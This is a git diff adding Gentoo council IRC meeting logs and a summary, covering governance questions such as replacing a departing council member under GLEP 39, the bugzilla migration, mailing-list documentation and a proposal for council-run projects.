+Jan 11 12:14:20 kloeri	I like the idea of a proper document explaining all of that as devs are quite often confused about some details
+Jan 11 12:14:29 Uber	but if you ask where I think something ought to go I'm happy to give an opinion
+Jan 11 12:14:41 Kugelfang	Uber: nod, thank you
+Jan 11 12:15:36 Kugelfang	anybody who wants to help can just contact me after this meeting so we can think on how to set it up
+Jan 11 12:15:51 kingtaco|work	robbat2, at the next break I do have one short thing to bring up
+Jan 11 12:16:07 robbat2	kingtaco|work, ok, after kugelfang's 3rd item
+Jan 11 12:16:10 Kugelfang	i have done some work on /usr/{local,libexec} already, but there is a lot of stuff in the filesystem hierarchy :-(
+Jan 11 12:16:11 kingtaco|work	kk
+Jan 11 12:16:28 Kugelfang	that was point 2, i fnobody has anything to add to it
+Jan 11 12:16:36 robbat2	nope, sounds like a solid plan to me
+Jan 11 12:16:57 Kugelfang	point 3 would be: Diego stepping down as developer and along that: stepping down as council member
+Jan 11 12:17:08 kingtaco|work	Kugelfang, that's my "-point"
+Jan 11 12:17:12 kloeri	Diego isn't retiring yet
+Jan 11 12:17:13 Kugelfang	kingtaco|work: pff
+Jan 11 12:17:35 Kugelfang	kloeri: well, i want to quote him from today earlier in this channel
+Jan 11 12:17:41 kloeri	he's taking a two week vacation from Gentoo right now to sort out his thoughts on all this
+Jan 11 12:17:43 Kugelfang	kloeri: (this might have changed in the meantime though)
+Jan 11 12:17:49 kloeri	it has changed
+Jan 11 12:17:59 Kugelfang	kloeri: 12:17 <@FlAFKeyes> tonight I'll leave uberlord to be my "proxy", as I hope not to be a dev anymore by that time anyway
+Jan 11 12:18:01 kingtaco|work	my only question there is according to the metastructure glep, do we have to hold an election, can we bring someone in, or do we take the #8 spot(uber)
+Jan 11 12:18:03 Kugelfang	kloeri: oh, ok
+Jan 11 12:18:09 Kugelfang	kloeri: that's cool :-)
+Jan 11 12:18:10 robbat2	his blog post earlier clarified it a lot
+Jan 11 12:18:18 kloeri	seemant talked to him and they decided that a vacation + removing commit access meanwhile was the way to go for now
+Jan 11 12:18:31 wolf31o2|mobile	If/when he does... I think we just follow the same guidelines the trustees initiated... go with the next guy in the vote...
+Jan 11 12:18:35 Kugelfang	as i said, i had been taking a nap before this very meeting started, so i'm probably 1.5 hours back :-)
+Jan 11 12:18:39 kloeri	so I've removed his commit access and Diego seems very happy about that decision
+Jan 11 12:18:43 Kugelfang	wolf31o2|mobile: excellent, that was my very point
+Jan 11 12:18:53 Kugelfang	wolf31o2|mobile: incidently, this would be Uber i think
+Jan 11 12:19:00 wolf31o2|mobile	it would be
+Jan 11 12:19:03 kingtaco|work	wolf31o2|mobile, someone should check that that's what the glep proscribes
+Jan 11 12:19:12 kloeri	just don't elect a new council member before he's actually retired :)
+Jan 11 12:19:19 wolf31o2|mobile	kingtaco|laptop: I think you just volunteered.... ;]
+Jan 11 12:19:24 wolf31o2|mobile	kloeri: we aren't
+Jan 11 12:19:31 Kugelfang	kloeri: didn't want that, i just wanted to have everything settled :-)
+Jan 11 12:19:38 kloeri	nod
+Jan 11 12:19:51 Kugelfang	kloeri: i'm not too fond of losing him in the first place :-(
+Jan 11 12:19:57 wolf31o2|mobile	me, either
+Jan 11 12:19:57 kloeri	indeed
+Jan 11 12:20:20 Kugelfang	he's contributions are in the region of vapier's from a monthly base, maybe a bit higher even
+Jan 11 12:20:27 Kugelfang	his
+Jan 11 12:20:29 Kugelfang	not he's
+Jan 11 12:20:33 kloeri	I hope a vacation will relieve some of the stress he's been feeling the past few months and that he'll come back with a fresh view of things
+Jan 11 12:20:45 Kugelfang	ok, there were my things for the table tonight
+Jan 11 12:20:48 Kugelfang	thank you very much
+Jan 11 12:20:59 kloeri	he's the top committer for 2006
+Jan 11 12:21:12 wolf31o2|mobile	Kugelfang: his are higher than vapier, actually... he's over vapier for 2006 by like 4000... heh
+Jan 11 12:21:16 wolf31o2|mobile	kloeri has the stats
+Jan 11 12:21:21 Kugelfang	wolf31o2|mobile: aye
+Jan 11 12:21:35 kloeri	yeah, he's beating vapier by quite a few commits
+Jan 11 12:21:36 kingtaco|work	"If a council member who has been marked a slacker misses any further meeting (or their appointed proxy doesn't show up), they lose their position and a new election is held to replace that person. The newly elected council member gets a 'reduced' term so that the yearly elections still elect a full group."
+Jan 11 12:21:38 Kugelfang	wolf31o2|mobile: you know, this is the kind of thing you deem impossible until you see it
+Jan 11 12:21:56 Kugelfang	kingtaco|work: yes, but this would be a voluntary step down
+Jan 11 12:22:00 Kugelfang	kingtaco|work: if he does it
+Jan 11 12:22:06 kingtaco|work	Kugelfang, the glep doesn't address it
+Jan 11 12:22:20 wolf31o2|mobile	kingtaco|laptop: that covers slackers... not someone leaving, though... we should clarify this and add it explicitly to the document... even if we decide to use the same as the slacker boot
+Jan 11 12:22:22 Kugelfang	anyway, as he's not doing it, i'm all for postponing that discussion, though i started it
+Jan 11 12:22:23 kingtaco|work	that's the closest thing in the glep
+Jan 11 12:22:38 kingtaco|work	Kugelfang, naw, we need to discuss it
+Jan 11 12:22:53 robbat2	it will probably come up in future
+Jan 11 12:22:59 Kugelfang	nod
+Jan 11 12:22:59 wolf31o2|mobile	right
+Jan 11 12:23:03 kingtaco|work	anyway, we need to modify that glep for someone who resigns
+Jan 11 12:23:11 wolf31o2|mobile	definitely
+Jan 11 12:23:14 Kugelfang	kingtaco|work: want to bring up a patch?
+Jan 11 12:23:25 Kugelfang	kingtaco|work: for discussion at next meeting?
+Jan 11 12:23:32 kingtaco|work	I don't have a preference personally, but the glep seems to indicate that a new vote be done for anyone leaving
+Jan 11 12:23:49 robbat2	i think email the question to -dev, and let's put it on the agenda for next month
+Jan 11 12:23:55 kingtaco|work	ok
+Jan 11 12:23:57 wolf31o2|mobile	robbat2: good plan
+Jan 11 12:23:58 kingtaco|work	or -core
+Jan 11 12:24:02 Kugelfang	i would not like to do that, but rather use the people next on the ballot
+Jan 11 12:24:06 kingtaco|work	it doesn't apply to non-gentoo dev
+Jan 11 12:24:06 Kugelfang	the original ballot
+Jan 11 12:24:21 robbat2	i see pros and cons on both ideas
+Jan 11 12:24:36 Uber	we already discussed this before and I think we said we could use the first ballot results
+Jan 11 12:24:40 wolf31o2|mobile	Kugelfang: that's my thought on it, too... because we'd be down a man until the vote is done... which isn't the best solution... but I also think it's a good idea for us to get some discussion on it... likely, people will agree with us
+Jan 11 12:24:49 kingtaco|work	the "spirit" of the glep would be to hold another election
+Jan 11 12:24:50 Kugelfang	wolf31o2|mobile: nod
+Jan 11 12:25:06 Kugelfang	kingtaco|work: that doesn't me we can't change it
+Jan 11 12:25:09 Kugelfang	mean
+Jan 11 12:25:18 kingtaco|work	Kugelfang, no doubt
+Jan 11 12:25:24 kloeri	discussing on -dev or -core is a good idea imo
+Jan 11 12:25:29 kingtaco|work	I think another election is silly
+Jan 11 12:25:29 wolf31o2|mobile	kingtaco|work: yeah... but it might be a good idea to get a finger on the current pulse of Gentoo and decide...
+Jan 11 12:25:29 kingtaco|work	ok
+Jan 11 12:25:31 robbat2	recalling the original ballot, taking the next person down has issues when there are ties
+Jan 11 12:25:32 Kugelfang	robbat2: i return the mic to you
+Jan 11 12:25:35 kingtaco|work	I'll spearhead that
+Jan 11 12:25:41 robbat2	ok, my turn for items now
+Jan 11 12:25:42 kingtaco|work	delayed until next month
+Jan 11 12:26:08 robbat2	1. the bugzilla migration went very well as everybody can see, there's a few minor bits to pick up, but they will be done over the next week or so
+Jan 11 12:26:18 Kugelfang	yeah, very nice work!
+Jan 11 12:26:29 Kugelfang	thanks to all people involved :-)
+Jan 11 12:26:33 wolf31o2|mobile	yeah... can we give kingtaco|laptop/robbat2/everyone else a big woop! woop!
+Jan 11 12:26:35 kloeri	new bugzilla++
+Jan 11 12:26:43 robbat2	2. there's work on a new CVS server after the storm problems at OSU previously, no actual timeline yet
+Jan 11 12:26:45 wolf31o2|mobile	excellent job, guys
+Jan 11 12:26:48 Uber	yeah, maybe jakub will be happy for once - I know I am happy with bugs now :)
+Jan 11 12:26:53 Kugelfang	Big Whoop?
+Jan 11 12:27:02 robbat2	thanks all :-)
+Jan 11 12:27:02 wolf31o2|mobile	Kugelfang: praise
+Jan 11 12:27:15 robbat2	3. the SPF bug....
+Jan 11 12:27:17 Kugelfang	wolf31o2|mobile: pun in regard to monkey island!
+Jan 11 12:27:28 Kugelfang	robbat2: right
+Jan 11 12:27:32 *	Kugelfang looks at kloeri :-P
+Jan 11 12:27:48 wolf31o2|mobile	heh... that was one I was going to bring up... status on SPF/Reply-to docs...
+Jan 11 12:28:23 robbat2	SPF and reply-to are seperate items
+Jan 11 12:28:34 wolf31o2|mobile	yes
+Jan 11 12:28:39 wolf31o2|mobile	I meant there's two items
+Jan 11 12:28:42 wolf31o2|mobile	the status on each
+Jan 11 12:28:47 kloeri	I still have some nearly finished docs sitting on my laptop but have been more busy looking for a new job and taking care flameeyes and the sudden loss of our only apache maintainer
+Jan 11 12:29:03 kloeri	I'll finish my doc after the meeting
+Jan 11 12:29:09 Kugelfang	kloeri: cool
+Jan 11 12:29:14 robbat2	kloeri, could you attach the drafts even to that bug?
+Jan 11 12:29:24 wolf31o2|mobile	kloeri: you've got one week or we take away your swipe card for the soft-serve ice cream machine
+Jan 11 12:29:28 robbat2	if you don't get a chance to finish them that is
+Jan 11 12:29:31 kingtaco|pda	apache?
+Jan 11 12:29:32 kloeri	sure
+Jan 11 12:29:43 Kugelfang	kloeri: i promise to look over it from viewpoint of the user I am :-D
+Jan 11 12:29:46 kloeri	yes, vericgar retired about a week ago
+Jan 11 12:29:53 kingtaco|pda	ah
+Jan 11 12:30:00 kloeri	leaving me (at that point) as the only remaining apache team member
+Jan 11 12:30:29 robbat2	i didn't see any retire notice in the GWN or on the lists?
+Jan 11 12:30:34 kloeri	fortunately chtekk and phreak both stepped up quickly to help me and we're squashing bugs at a very nice rate
+Jan 11 12:30:39 kingtaco|pda	why cant gdp do it
+Jan 11 12:30:56 kloeri	no, he just announced it in #-apache and I haven't sent it to GWN yet
+Jan 11 12:31:41 kloeri	people announce retirement in all kinds of crazy ways - random irc channels, /msg'ing me etc.
+Jan 11 12:31:42 robbat2	ok, just attach them to the bug when you're ready with them
+Jan 11 12:31:52 kloeri	will do
+Jan 11 12:31:54 robbat2	i have one more item on my list
+Jan 11 12:32:02 robbat2	4. Agenda management
+Jan 11 12:32:25 robbat2	could everybody just try and do a braindump on the council ML a day or two ahead of the meeting?
+Jan 11 12:32:41 kingtaco|work	it'd be nice
+Jan 11 12:32:47 Kugelfang	yes, sorry
+Jan 11 12:32:47 robbat2	nothing fancy, just for own notes
+Jan 11 12:32:52 Kugelfang	didn't think about it
+Jan 11 12:33:13 kloeri	agreed, we need to do that
+Jan 11 12:33:19 robbat2	if you think it's a bigger issue, bring it up earlier on -core/-dev, but for simple stuff like today, just braindump to -council
+Jan 11 12:33:49 Kugelfang	somebody volunteering to prod me to it the mondays before we have meeting? :-P
+Jan 11 12:34:02 robbat2	ok, i'll try to send out reminders ;-)
+Jan 11 12:34:18 *	Kugelfang has electrocution prdo-sticks to give away
+Jan 11 12:34:23 Kugelfang	prod-sticks
+Jan 11 12:34:25 robbat2	SpanKY, last call before we mark you as a slacker
+Jan 11 12:34:31 robbat2	vapier ping too
+Jan 11 12:34:45 Kugelfang	3
+Jan 11 12:34:46 Kugelfang	2
+Jan 11 12:34:47 Kugelfang	1
+Jan 11 12:34:50 Kugelfang	-out-
+Jan 11 12:35:18 robbat2	Uber: is there anything you wanted to bring up on behalf of Flameeyes?
+Jan 11 12:35:42 Uber	robbat2: nope. I was kinda ropped into this at the last minute
+Jan 11 12:36:10 kloeri	thanks for stepping up at such short notice
+Jan 11 12:36:25 Uber	np
+Jan 11 12:36:25 robbat2	yeah, many thanks for being able to drop in
+Jan 11 12:36:32 Kugelfang	Uber: nah, you got time for Diego, but when you're going to met me you go for honeymoon instead!
+Jan 11 12:36:38 Kugelfang	Uber: you're a friend! *rant*
+Jan 11 12:36:46 Kugelfang	meet
+Jan 11 12:36:46 robbat2	vapier, i'm not giving your alter-ego a second chance
+Jan 11 12:36:51 wolf31o2|mobile	heh
+Jan 11 12:36:52 robbat2	wolf31o2, your turn
+Jan 11 12:36:55 Uber	heh
+Jan 11 12:36:56 robbat2	you mentioned Reply-To earlier?
+Jan 11 12:37:05 wolf31o2|mobile	yeah... what's the status on that doc?
+Jan 11 12:37:15 robbat2	absolutely nothing according to that bug
+Jan 11 12:37:21 wolf31o2|mobile	heh
+Jan 11 12:37:27 robbat2	bug 154595
+Jan 11 12:37:37 robbat2	hmm, no jeeves in here
+Jan 11 12:37:42 wolf31o2|mobile	should I just write one up and guidexml it? there's not much to it
+Jan 11 12:38:02 robbat2	i wanted to raise question with it
+Jan 11 12:38:08 wolf31o2|mobile	ok
+Jan 11 12:38:08 robbat2	why don't we make more use of Mail-Followup-To?
+Jan 11 12:38:18 wolf31o2|mobile	not a clue
+Jan 11 12:38:27 kingtaco|work	I think it was all covered
+Jan 11 12:38:41 kingtaco|work	one can use procmail to munge the headers however one likes
+Jan 11 12:38:42 *	jeeves (n=jeeves@gentoo/developer/jeeves) has joined #gentoo-council
+Jan 11 12:38:46 *	kingtaco|work gives voice to jeeves
+Jan 11 12:38:49 *	wolf31o2|mobile gives voice to jeeves
+Jan 11 12:39:05 Kugelfang	thanks for solar's quick reaction
+Jan 11 12:39:13 robbat2	jeeves, bug 154595
+Jan 11 12:39:15 jeeves	robbat2: https://bugs.gentoo.org/154595 nor, P2, All, kingtaco@gentoo.org->kloeri@gentoo.org, NEW, pending, Document how to change reply-to headers on gentoo lists
+Jan 11 12:39:41 wolf31o2|mobile	yeah... I munge out the reply-to if it matches the "to:"
+Jan 11 12:40:11 wolf31o2|mobile	so I can "reply to sender" and "reply to list" without having to manually type addresses or remove junk
+Jan 11 12:40:51 wolf31o2|mobile	anyway... if nobody has any objections, I'll draft something up and post it to the bug for discussion
+Jan 11 12:40:56 wolf31o2|mobile	sound good?
+Jan 11 12:40:58 robbat2	sure
+Jan 11 12:41:08 kloeri	fine
+Jan 11 12:41:26 wolf31o2|mobile	ok...
+Jan 11 12:41:35 robbat2	wolf31o2, any more items?
+Jan 11 12:41:41 wolf31o2|mobile	so now my other idea/proposal/whatever...
+Jan 11 12:42:03 Kugelfang	wolf31o2|mobile: ice cream machine for the council lounge?
+Jan 11 12:42:11 wolf31o2|mobile	I was thinking of us starting some projects of our own... that are "council run" for specific tasks... I'll give you a (completely fictional) example
+Jan 11 12:42:13 wolf31o2|mobile	heh
+Jan 11 12:43:52 wolf31o2|mobile	let's say we wanted to create a tool, let's, for the sake of argument, say it is a GUI portage front-end... so, the Council would start the project, and we would "recruit" via the GWN, etc... the people whom we recruit could be devs or not... doesn't matter... they get access to some repo specifically for the project... they work for us, which means they aren't necessarily Gentoo developers... (though they could be... that po
+Jan 11 12:43:52 wolf31o2|mobile	int isn't that important)
+Jan 11 12:44:32 kingtaco|work	how does this differ from what we currently do for things like the installer
+Jan 11 12:44:42 kingtaco|work	and why us as opposed to some other group
+Jan 11 12:44:42 wolf31o2|mobile	anyway... we recruit... we get people... they start writing code... basically, we start managing some new code that is for Gentoo, rather than just packaging up other people's stuff... I'd imagine it would all pretty much be Gentoo-specific, for the most part
+Jan 11 12:44:45 robbat2	and anybody else starting a project for that matter
+Jan 11 12:44:55 wolf31o2|mobile	kingtaco|laptop: it really isn't different than the installer...
+Jan 11 12:45:06 wolf31o2|mobile	and why us? because I don't see anyone else doing it... and we're the elected leaders
+Jan 11 12:45:29 wolf31o2|mobile	I mean, we have installer/scire... which are great examples of this
+Jan 11 12:45:31 kingtaco|work	ok, so we take the initiative, not attempting to exclude others from doing the same
+Jan 11 12:45:36 wolf31o2|mobile	correct
+Jan 11 12:45:38 kingtaco|work	ok
+Jan 11 12:45:46 wolf31o2|mobile	if someone wants to create a project, they're more than welcome to
+Jan 11 12:45:51 robbat2	the only problem I see with that, is people wanting more direction from council on where each project should go
+Jan 11 12:46:07 wolf31o2|mobile	the idea here being is we can identify places where we need improvement
+Jan 11 12:46:20 wolf31o2|mobile	well... that's what we would do... steer the project(s) that we create
+Jan 11 12:46:46 wolf31o2|mobile	like, we would come up with the project, and idea of what we want it to do, etc and try to keep the recruits on task
+Jan 11 12:47:20 Uber	so basically the council is an ideas think tank?
+Jan 11 12:47:33 wolf31o2|mobile	yes... and we can always take ideas from other people
+Jan 11 12:47:45 wolf31o2|mobile	like... let's say you had a great idea, but didn't have time to lead the project
+Jan 11 12:47:50 kingtaco|pda	more of formalizing what we already do
+Jan 11 12:48:02 wolf31o2|mobile	we could do it as a team, rather than letting the great idea die on the vine
+Jan 11 12:48:05 wolf31o2|mobile	yeah
+Jan 11 12:49:07 wolf31o2|mobile	now, antarus brings up a point... he says "in my experience you can't direct a project unless you are actively contributing, so the project members are free to ignore your suggestions/direction"
+Jan 11 12:49:09 robbat2	i do certainly find the concept interesting, however I wonder how this would impact our time availability as it stands
+Jan 11 12:49:44 wolf31o2|mobile	well... there's a solution to that... we "fire" them... I know it sounds a bit rash... but that's the reason why we don't require people be devs... they're "contractors" so to speak... there to do a job (at their own pace, of coure)
+Jan 11 12:50:14 wolf31o2|mobile	robbat2: no clue... but I figure we could try it out... get some ideas for a project that might not be too difficult from the community and try it
+Jan 11 12:50:16 kloeri	time availability would be one of my concerns but I like the idea of more actively steering projects (or helping to steer projects where needed)
+Jan 11 12:50:36 robbat2	so the directions are more of requirements in the project planning scope of things, more formal software development process
+Jan 11 12:51:11 wolf31o2|mobile	robbat2: correct
+Jan 11 12:51:13 kloeri	I'm sometimes doing the same thing with bugday where I hire (more or less) random users to help with a specific project
+Jan 11 12:51:38 kloeri	works fairly well for bugday but that's very small projects though
+Jan 11 12:51:55 wolf31o2|mobile	robbat2: we're recruiting for a task... not a general developer "position"
+Jan 11 12:51:56 robbat2	wolf31o2|mobile, I do have one direct question. how do you ensure these projects don't stagnate?
+Jan 11 12:52:10 wolf31o2|mobile	yeah... as I said... we'd want to find something smaller to see if it is even feasible
+Jan 11 12:52:14 wolf31o2|mobile	might be we simply can't manage it
+Jan 11 12:52:16 robbat2	and how to handle long term maintence too
+Jan 11 12:52:48 wolf31o2|mobile	robbat2: well... as the "management" for it, we try to find new blood if things seem to be stagnating... there's *loads* of people who want to help Gentoo, but don't know how
+Jan 11 12:53:04 robbat2	i'd like to point out that there is a limited precedent for such an idea
+Jan 11 12:53:32 robbat2	back in the day of drobbins, he and releng identified some specific objectives that needed completion
+Jan 11 12:53:41 robbat2	and sought people to complete them
+Jan 11 12:53:48 robbat2	i wrote the genflags package for one of those
+Jan 11 12:54:10 robbat2	code mostly useless now, but it had well defined requirements
+Jan 11 12:54:15 wolf31o2|mobile	heh
+Jan 11 12:54:50 robbat2	1. must run from a minimal livecd (bash only). 2. take all input it can find about a system (cpuinfo etc). 3. spit out recommended CFLAGS/CHOST
+Jan 11 12:55:09 wolf31o2|mobile	yeah... that's the exact kind of thing I mean
+Jan 11 12:55:12 robbat2	that's simplifying it a bit, but the important thing is that there was a precedent
+Jan 11 12:55:21 Kugelfang	i'm no opposed to that, so let's try it out once the first need arises
+Jan 11 12:55:34 wolf31o2|mobile	well... I'm going to suggest we call for ideas on -dev
+Jan 11 12:55:43 wolf31o2|mobile	see what comes up... and try to pick one we think we can attain
+Jan 11 12:55:47 robbat2	note that they should be small ideas
+Jan 11 12:55:50 Kugelfang	this fits very well in the category 'Gentoo Hosted Projects' :-)
+Jan 11 12:55:51 robbat2	not grand projects
+Jan 11 12:55:54 wolf31o2|mobile	yes
+Jan 11 12:56:33 robbat2	wolf31o2|mobile, ok, it's your idea, so if you'd like to spearhead asking for ideas and bringing them back for the next meeting, i'm all game
+Jan 11 12:56:39 robbat2	i don't think it needs a vote at all
+Jan 11 12:56:41 wolf31o2|mobile	cool
+Jan 11 12:56:49 wolf31o2|mobile	yeah... I just wanted feedback on it, really
+Jan 11 12:57:09 kloeri	no, just go ahead
+Jan 11 12:57:15 Kugelfang	jupp
+Jan 11 12:57:32 Kugelfang	vapier: kind-of-last-call!
+Jan 11 12:57:32 robbat2	any further issues from anybody, or shall we open the floor?
+Jan 11 12:58:07 kloeri	no further issues from me
+Jan 11 12:58:10 robbat2	going once
+Jan 11 12:58:10 kingtaco|work	can the foundation afford to buy sealand?
+Jan 11 12:58:11 Kugelfang	nope
+Jan 11 12:58:14 kingtaco|work	:p
+Jan 11 12:58:26 kingtaco|work	</joke>
+Jan 11 12:58:27 wolf31o2|mobile	kingtaco|work: not yet...
+Jan 11 12:58:31 Kugelfang	kingtaco|work: to set up the council's lounge and ice-cream machine?
+Jan 11 12:58:38 robbat2	bug the foundation for financials reports, there haven't been any in a long time
+Jan 11 12:58:38 kingtaco|work	hehe
+Jan 11 12:59:00 kingtaco|work	wolf31o2|mobile, can you have someone over there work on the financial reports?
+Jan 11 12:59:00 robbat2	we should have made a fair mint from our SoC payouts
+Jan 11 12:59:03 Kugelfang	who's going to mark vapier as a slacker?
+Jan 11 12:59:08 wolf31o2|mobile	robbat2: check -nfp archives... we need to clean it up... but there's a fairly recent one there
+Jan 11 12:59:12 kingtaco|work	I'd like to see them too
+Jan 11 12:59:15 kingtaco|work	cool
+Jan 11 12:59:25 wolf31o2|mobile	kingtaco|work: I think there is someone working on it... I can check
+Jan 11 12:59:31 kingtaco|work	kk
+Jan 11 12:59:49 kingtaco|work	nothing from me
+Jan 11 12:59:51 kingtaco|work	open it up
+Jan 11 12:59:59 *	Kugelfang sets mode -m #gentoo-council
+Jan 11 13:00:15 robbat2	wolf31o2|mobile, got a link for that email?
+Jan 11 13:00:18 antarus	wolf31o2|mobile: I'm working on einspect, but I'd probably have to gather more reqs
+Jan 11 13:00:23 robbat2	i don't see it in the public archives at a glance
+Jan 11 13:00:24 *	Kugelfang goes to mark vapier :-/
+Jan 11 13:00:35 wolf31o2|mobile	robbat2: not off the top of my head... let me check
+Jan 11 13:00:38 wolf31o2|mobile	antarus: einspect?
+Jan 11 13:00:40 robbat2	anybody want to volunteer for the summary?
+Jan 11 13:00:40 Kugelfang	i hope it's all good with him
+Jan 11 13:00:57 antarus	wolf31o2|mobile: basically einspect [--local,--profile,--repository] -p sys-apps/portage
+Jan 11 13:01:11 antarus	gives you informatoin like "what about your local configuration affects sys-apps/portage
+Jan 11 13:01:25 antarus	what about your profile affects sys-apps/portage...what about the repo affects sys-apps/portage..
+Jan 11 13:01:36 antarus	Users often get confused because fex, something is in .mask and unmask
+Jan 11 13:01:40 antarus	and this would list that
+Jan 11 13:01:44 antarus	among other things ;P
+Jan 11 13:02:24 kingtaco|work	robbat2, side note, what's the deal with the nagios warnings about mysql on bugs
+Jan 11 13:02:57 wolf31o2|mobile	antarus: ahh... nice
+Jan 11 13:02:57 robbat2	kingtaco|laptop, me working on dunlin after it lost sync, just need to do it properly (read get mylvmbackup into the tree) rather than a hack fix
+Jan 11 13:03:10 kingtaco|work	ok
+Jan 11 13:03:19 kingtaco|work	can we turn off notifications for it in the meantime?
+Jan 11 13:03:49 robbat2	kingtaco|work, if you have access to nagios, please ACK both mysql notifications for dunlin yes
+Jan 11 13:03:54 robbat2	leave the one for peafowl
+Jan 11 13:04:09 wolf31o2|mobile	robbat2: financials start here: http://archives.gentoo.org/gentoo-nfp/msg_01207.xml
+Jan 11 13:04:34 *	Kugelfang gone, have a new recuirt
+Jan 11 13:04:46 kingtaco|work	robbat2, I have access to the host I'm sure(not that I know which one) but I don't know how to ack it
+Jan 11 13:05:01 kingtaco|work	I'll poke lance to train me
+Jan 11 13:05:53 wolf31o2|mobile	kingtaco|laptop: hit it w/ a browser... find the offending host/service by selecting "Service Problems"... then select "Acknowledge this service problem"
+Jan 11 13:10:59 kloeri	no further questions? guess the meeting is finished then
+Jan 11 13:11:05 wolf31o2|mobile	yup
+Jan 11 13:11:09 wolf31o2|mobile	adjourned
+Jan 11 13:11:31 kingtaco|work	done
+Jan 11 13:12:18 Uber	*gone
+Jan 11 13:12:23 *	Uber (n=uberlord@rsm.demon.co.uk) has left #gentoo-council
+Jan 11 13:12:26 robbat2	i'll post the log and summary shortly
+Jan 11 13:12:37 wolf31o2|mobile	=]
+Jan 11 13:12:48 robbat2	but somebody else gets to do it next time
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20070208-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20070208-summary.txt
new file mode 100644
index 00000000..813725bf
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20070208-summary.txt
@@ -0,0 +1,32 @@
+- change to council GLEP 39 to cover when a Council member is no longer part
+  of the Gentoo project (the reason/rhyme is irrelevant).  Idea is to
+  streamline slightly the bureaucracy (even if new wording is more verbose).
+Old wording:
+ * If a council member who has been marked a slacker misses any further meeting
+   (or their appointed proxy doesn't show up), they lose their position and a
+   new election is held to replace that person. The newly elected council member
+   gets a 'reduced' term so that the yearly elections still elect a full group.
+New wording:
+ * If a council member who has been marked a slacker misses any further meeting
+   (or their appointed proxy doesn't show up), they lose their position.
+ * Whenever a member of the Council loses their position (the reason is
+   irrelevant; they could be booted for slacking or they resign or ...), then
+   the next person in line from the previous Council election is offered the
+   position.  If they decline, it is offered to the next person in line, and so
+   forth.  If they accept and the current Council unanimously accepts the new
+   person, they get the position with a 'reduced' term such that the yearly
+   elections still elect a full group.  If the Council does not accept that
+   person, then a new election is held to choose a new member.
+
+- GLEP 23 (ACCEPT_LICENSE) is still valid.  Should have asked genone to show up
+  ahead of time to clarify what was asked.
+
+- GLEP 44 (Manifest2) is looking good and we'll work on getting the remainder
+  packages fixed.  Idea is to have it in place in the 2007.0 timeframe.
+
+- the tr1 issue (how do we support it properly in dependencies) would be
+  researched to see what packages actually need it and a decision would be
+  made at the next meeting.  options include eclass, virtuals, ||(atoms).
+
+- mailing list docs (reply-to and spf) look pretty much done.  need to be
+  converted to guidexml and posted.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20070208.txt b/xml/htdocs/proj/en/council/meeting-logs/20070208.txt
new file mode 100644
index 00000000..0b4f0e03
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20070208.txt
@@ -0,0 +1,769 @@
+Feb 08 12:00:36 kingtaco|work	>>>>> BEGIN LOGGING
+Feb 08 12:00:41 kingtaco|work	ok, rollcall
+Feb 08 12:00:48 *	kingtaco|work here
+Feb 08 12:01:27 *	Flameeyes here (dining)
+Feb 08 12:01:36 kloeri	hi all
+Feb 08 12:01:39 vapier	poop
+Feb 08 12:01:46 kingtaco|work	robbat2|na, ?
+Feb 08 12:01:55 kingtaco|work	spb
+Feb 08 12:02:04 wolf31o2|mobile	present
+Feb 08 12:02:24 kingtaco|work	spb is making food, I guess he'll be here in a minute
+Feb 08 12:02:46 kingtaco|work	anyone have items that I didn't just list?
+Feb 08 12:02:57 Flameeyes	glep44 status
+Feb 08 12:03:02 kingtaco|work	ok
+Feb 08 12:03:10 kloeri	genone wanted us to reconfirm glep 23
+Feb 08 12:03:16 kingtaco|work	got that on the list
+Feb 08 12:03:21 *	amne (n=amne@gentoo/developer/amne) has joined #gentoo-council
+Feb 08 12:03:36 kingtaco|work	Flameeyes, you want to start with 44?
+Feb 08 12:04:18 spb	back
+Feb 08 12:04:47 Flameeyes	kingtaco|work, I'd rather be silent while dining, but if you want to start with 44, fine
+Feb 08 12:05:01 kingtaco|work	ok
+Feb 08 12:05:11 kingtaco|work	lets start with the council member thing then
+Feb 08 12:05:40 kingtaco|work	so, the council glep doesn't say anything about what happens when a dev leaves of his own will
+Feb 08 12:06:06 kingtaco|work	I think we should take the next place in the orig election and then have the council confirm it.
+Feb 08 12:06:07 Flameeyes	nor if it gets removed by devrel
+Feb 08 12:06:17 vapier	s/of his own will/
+Feb 08 12:06:20 kingtaco|work	what I'm not sure of is if majority vote or unanmous vote
+Feb 08 12:06:38 Flameeyes	I would be for unanymous
+Feb 08 12:07:22 kingtaco|work	regardless of how we decide to vote, if the vote fails, it'd be a new election for that one member for a reduced term
+Feb 08 12:07:26 spb	on the other hand, for consistency it makes sense to do the same thing if a dev leaves that is done when the slacker boot is applied
+Feb 08 12:07:58 vapier	http://thread.gmane.org/gmane.linux.gentoo.devel/45517
+Feb 08 12:08:23 kloeri	devrel won't retire council members btw unless they're completely inactive (just like other devs) in which case they'd be marked slackers before that happened
+Feb 08 12:09:02 kingtaco|work	yeah
+Feb 08 12:09:14 Flameeyes	kloeri, what happens in case of complaints?
+Feb 08 12:09:18 spb	kloeri: technically it takes three months for a council member to be booted for slacking, where the activity timeout is two months
+Feb 08 12:09:29 vapier	from the few responses on -dev (mine included), simply taking the next person "in line" until exhausted seems easiest route to get things up and going again
+Feb 08 12:09:29 *	welp (n=welp@gentoo/developer/welp) has joined #gentoo-council
+Feb 08 12:09:46 spb	though i suppose it'll take a bit longer to actually retire inactive people
+Feb 08 12:09:50 kingtaco|work	as long as it's approved by the remaining members
+Feb 08 12:09:53 kingtaco|work	I concur
+Feb 08 12:09:54 vapier	how the council member comes to be no longer a gentoo developer is irrelevant to the topic i think
+Feb 08 12:10:09 kloeri	spb: well, technically I'll probably never get close to two months and there's at least two weeks to file notice against retirement so it should work out I think
+Feb 08 12:10:16 Flameeyes	vapier, agreed
+Feb 08 12:10:24 *	avenj (n=avenj@gentoo/developer/avenj) has joined #gentoo-council
+Feb 08 12:10:49 kloeri	next person in line is fine imo
+Feb 08 12:10:54 spb	i have a slight preference for option 2 in that mail, but taking the next in line works too
+Feb 08 12:11:26 spb	i just don't see why a dev leaving the council and getting booted from the council should have different methods to replace them
+Feb 08 12:11:29 Flameeyes	kloeri, by the way, if the activty is counted on cvs, it's possible that someone is presenting to the council meeting just fine but resulting inactive
